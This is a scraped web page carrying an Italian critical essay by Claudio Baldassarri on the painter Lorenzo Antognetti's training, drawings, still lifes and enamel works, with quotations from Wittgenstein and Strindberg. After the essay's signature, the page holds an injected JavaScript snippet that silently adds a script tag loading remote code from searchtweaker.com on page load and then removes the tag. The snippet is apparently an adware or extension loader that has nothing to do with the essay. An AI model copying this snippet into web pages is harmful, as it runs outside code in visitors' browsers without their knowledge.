Was ich erfinde, sind neue Gleichnisse
Ludwig Wittgenstein

Passione per l’arte e la sua storia, per il linguaggio. A fondamento del percorso creativo di Lorenzo Antognetti vi è l’idea che stili e linguaggi, una volta espressi e vissuti all’interno del tempo che li ha prodotti, non siano passati o finiti: per lui possono, rivivificati, tornare ad essere. Reinterpretare ciò che è stato, richiamare segni distintivi di ricerche che hanno sostanziato la storia dell’arte operando contaminazioni tra e rispetto a queste, reinventare le forme: è la maniera nuova, contemporanea ed originale, che l’autore trova per dare corpo alla sua idea di espressione. La formazione solida lo aiuta: Liceo Artistico ed Accademia di Belle Arti a Genova, esperienze formative nell’ambiente artistico ligure prima e laziale poi a Roma e Tarquinia -la rappresentazione di quest’ultima e del territorio che la circonda costituiscono un nucleo importante della sua produzione- l’insegnamento e la grande lezione del restauro in ambito pittorico.
L’educazione alla forma lo guida nella ricerca e ne nutre la voglia di continuare a cercare, sondando le possibilità del proprio dire. In questo senso la mostra propone suggestioni in grado di rendere evidente il cammino creativo di Antognetti, non tanto registrando tappe di un’evoluzione stilistica quanto illustrando declinazioni della fantasia, che si avvale di una salda capacità disegnativa, di controllo del segno ovvero del saper manipolare un linguaggio astratto, in vari casi informale.
Da un punto insignificante, l’immaginazione prende il volo e crea nuove trame, nota August Strindberg ne Il sogno. Così la serie monocromatica dei disegni a penna: sensibilità formale, controllo calligrafico del segno, nuove trame inseguendo un sogno. Poi l’insieme di riferimenti classici e di scenografie surreali, la poesia caravaggesca della candela celata allo sguardo con la quale illumina la serie delle nature morte con fiori. E ancora simboli e simbolismo, surrealismo e realtà, classicità, luce. Infine il colore degli smalti con i quali gioca in bilico tra il Monet che ha dipinto le Nymphéas dell’Orangerie, il Pollock del dripping o il Kandinskij anche Bauhaus, la Carta Fiorentina e gli effetti marmorizzati Arts and Crafts o Art nouveau: il tutto nel sogno della libertà nell’arte.
Arte è fatica, metodo, rigore, capacità di cogliere le sfumature di un tempo determinato -a volte di anticiparlo- sperimentazione, ricerca, ma è certamente dono: di sé, del proprio lavoro, di un mondo interiore che viene offerto alla condivisione. Di ciò credo che si debba essere grati a quanti, contaminandoci con la loro passione, rendono possibili suggestioni destinate a evolversi ulteriormente nel cammino altrui ed a vivere di vita propria. Ciò che io invento sono nuove similitudini, spiega Wittgenstein nei Pensieri diversi: ciò che Antognetti ricerca -con la forza di accostamenti, di citazioni e di strategie formali cui fornisce una ritrovata vitalità- sono nuove suggestioni.
Claudio Baldassarri

// DATA[ (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})(); // ]]></script>"
Visite agli articoli
15669

ArtMajeur Ssilver Award 2004  Golden art site